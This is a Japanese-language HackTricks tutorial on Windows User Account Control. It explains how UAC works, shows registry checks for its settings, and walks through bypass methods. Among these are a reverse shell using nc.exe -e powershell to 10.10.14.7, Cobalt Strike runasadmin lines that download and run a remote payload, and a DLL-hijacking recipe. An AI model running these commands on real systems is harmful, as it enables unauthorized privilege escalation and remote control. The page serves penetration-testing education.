21 KiB
UAC - ユーザーアカウント制御
htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見る
- 💬 Discordグループに参加するか、Telegramグループに参加するか、Twitter 🐦で@carlospolopmをフォローする
- ハッキングテクニックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出する
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
ユーザーアカウント制御(UAC)は、昇格されたアクティビティのための同意プロンプトを有効にする機能です。アプリケーションには異なるintegrity
レベルがあり、高いレベルのプログラムはシステムを潜在的に危険にさらす可能性のあるタスクを実行できます。UACが有効な場合、アプリケーションとタスクは常に、管理者が明示的にこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセス権を与えることを許可するまで、管理者以外のアカウントのセキュリティコンテキストで実行されます。これは、管理者が意図しない変更から保護する便利な機能ですが、セキュリティの境界とは見なされません。
整合性レベルに関する詳細情報は次のとおりです:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
UACが適用されている場合、管理者ユーザーには2つのトークンが与えられます:通常のアクションを通常のレベルで実行するための標準ユーザーキーと、管理者特権を持つもの。
このページでは、UACの動作について詳しく説明し、ログオンプロセス、ユーザーエクスペリエンス、およびUACアーキテクチャを含んでいます。管理者は、セキュリティポリシーを使用して、ローカルレベル(secpol.mscを使用)で組織固有のUACの動作を構成したり、Active Directoryドメイン環境でグループポリシーオブジェクト(GPO)を構成して配布したりすることができます。さまざまな設定については、こちらで詳しく説明されています。UACに設定できる10のグループポリシー設定があります。次の表に追加の詳細が提供されています:
UAC Bypass Theory
一部のプログラムは、ユーザーが管理者グループに属している場合には、自動的に昇格されます。これらのバイナリには、_マニフェスト_内に autoElevate オプションが True という値で含まれています。また、バイナリはMicrosoftによって署名されている必要があります。
そのため、UACをバイパスするために(中の整合性レベルから高のレベルに昇格するために)、一部の攻撃者はこの種のバイナリを使用して任意のコードを実行します。なぜなら、それは高い整合性プロセスから実行されるからです。
バイナリの マニフェスト を確認するには、Sysinternals のツール sigcheck.exe を使用できます。また、プロセスの整合性レベルを確認するには、Sysinternals の Process Explorer または Process Monitor を使用できます。
Check UAC
UACが有効になっているかどうかを確認するには、次の操作を行います:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
もし**1
であれば、UACは有効になっています。0
であるか、存在しない場合は、UACは無効**です。
次に、どのレベルが設定されているかを確認します:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- もし
0
なら、UAC はプロンプトされません(無効のように) - もし
1
なら、管理者はバイナリを高い権限で実行する際にユーザー名とパスワードを要求されます(セキュアデスクトップ上) - もし
2
(常に通知)なら、UAC は管理者が高い権限で何かを実行しようとすると常に確認を求めます(セキュアデスクトップ上) - もし
3
なら、1
と同様ですが、セキュアデスクトップ上で必要ではありません - もし
4
なら、2
と同様ですが、セキュアデスクトップ上で必要ではありません - もし
5
(デフォルト)なら、非 Windows バイナリを高い権限で実行する際に管理者に確認を求めます
次に、LocalAccountTokenFilterPolicy
の値を確認する必要があります。
もし値が 0
なら、RID 500 ユーザー(組み込み管理者)だけが UAC なしで 管理タスクを実行でき、1
なら "Administrators" グループ内のすべてのアカウントがそれを行えます。
最後に、FilterAdministratorToken
キーの値を確認します。
もし 0
(デフォルト)なら、組み込み管理者アカウントが リモート管理タスクを実行でき、1
なら組み込みアカウント管理者は リモート管理タスクを実行できません(ただし、LocalAccountTokenFilterPolicy
が 1
に設定されている場合)。
要約
EnableLUA=0
または 存在しない 場合、誰にも UAC がありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=1
の場合、誰にも UAC がありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=0
の場合、RID 500(組み込み管理者)には UAC がありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=1
の場合、誰にも UAC があります
これらの情報は、metasploit モジュール: post/windows/gather/win_privs
を使用して収集できます。
また、ユーザーのグループを確認し、整合性レベルを取得することもできます:
net user %username%
whoami /groups | findstr Level
UACバイパス
{% hint style="info" %} 被害者へのグラフィカルアクセスがある場合は、UACバイパスは簡単です。UACプロンプトが表示されたときに単純に「はい」をクリックできます。 {% endhint %}
UACバイパスは次の状況で必要です:UACがアクティブ化されており、プロセスが中間整合性コンテキストで実行されており、ユーザーが管理者グループに属している場合。
重要なのは、UACが最高セキュリティレベル(常に)にある場合は、他のレベル(デフォルト)にある場合よりもUACをバイパスするのがはるかに難しいということです。
UACが無効化されている場合
UACが既に無効化されている場合(ConsentPromptBehaviorAdmin
が**0
**である場合)、管理者権限(高整合性レベル)で逆シェルを実行することができます。
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
トークン複製を使用したUACバイパス
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
非常に基本的なUAC "バイパス"(完全なファイルシステムアクセス)
管理者グループに属するユーザーを持つシェルがある場合、SMB(ファイルシステム)を介してC$をマウントし、新しいディスク内でローカルにマウントすることができ、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダーさえも)。
{% hint style="warning" %} このトリックはもはや機能していないようです {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
Cobalt Strikeを使用したUACバイパス
Cobalt Strikeのテクニックは、UACが最大セキュリティレベルに設定されていない場合のみ機能します。
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
EmpireとMetasploitには、UACをバイパスするためのいくつかのモジュールもあります。
KRBUACBypass
https://github.com/wh0amitz/KRBUACBypassにあるドキュメントとツール
UACバイパスエクスプロイト
UACMEは、複数のUACバイパスエクスプロイトのコンパイルです。UACMEをVisual StudioまたはMSBuildを使用してコンパイルする必要があることに注意してください。コンパイルにより、いくつかの実行可能ファイル(Source\Akagi\outout\x64\Debug\Akagi.exe
など)が作成されますが、どれが必要かを知る必要があります。
いくつかのバイパスは、ユーザーに何かが起こっていることを警告する他のプログラムを表示することがありますので、注意が必要です。
UACMEには、各テクニックが動作を開始したビルドバージョンがあります。お使いのバージョンに影響を与えるテクニックを検索できます。
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
より多くのUACバイパス
ここで使用されているすべてのテクニックは、被害者との完全な対話シェルが必要です(一般的なnc.exeシェルでは不十分です)。
meterpreterセッションを取得できます。Session値が1に等しいプロセスに移行します:
(_explorer.exe_が機能するはずです)
GUIを使用したUACバイパス
GUIにアクセスできる場合、UACプロンプトを受け入れるだけでバイパスすることができます。そのため、GUIにアクセスできると、UACをバイパスできます。
さらに、誰かが使用していたGUIセッション(おそらくRDP経由で)にアクセスできる場合、管理者として実行されるツールがいくつかあります。そのツールから直接cmdを管理者として実行することができ、UACに再度プロンプトされることなく実行できます。https://github.com/oski02/UAC-GUI-Bypass-appverifのようなものがあります。これは少しステルスです。
騒々しいブルートフォースUACバイパス
騒音を気にしない場合、常にhttps://github.com/Chainski/ForceAdminのようなものを実行して、ユーザーが許可するまで権限を昇格させるように求めることができます。
独自のバイパス - 基本的なUACバイパス手法
UACMEを見ると、ほとんどのUACバイパスがDllハイジャック脆弱性を悪用していることに気づくでしょう(悪意のあるdllを_C:\Windows\System32_に書き込むことが主な方法)。Dllハイジャック脆弱性を見つける方法についてはこちらを読んでください。
- 自動昇格するバイナリを見つけます(実行時に高い整合性レベルで実行されることを確認します)。
- procmonを使用して、NAME NOT FOUNDイベントを見つけ、DLLハイジャックの脆弱性に対して脆弱である可能性があります。
- おそらく、保護されたパス(C:\Windows\System32など)にDLLを書き込む必要があるでしょう。これには、次の方法を使用してバイパスできます:
- wusa.exe:Windows 7、8、8.1。これにより、保護されたパス内にCABファイルの内容を抽出できます(このツールは高い整合性レベルから実行されるため)。
- IFileOperation:Windows 10。
- DLLを保護されたパスにコピーし、脆弱で自動昇格されたバイナリを実行するためのスクリプトを準備します。
別のUACバイパス手法
自動昇格バイナリがレジストリから実行されるバイナリまたはコマンドの名前/パスを読み取ろうとするかどうかを監視することで構成されます(この情報をHKCU内で検索する場合、より興味深いです)。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}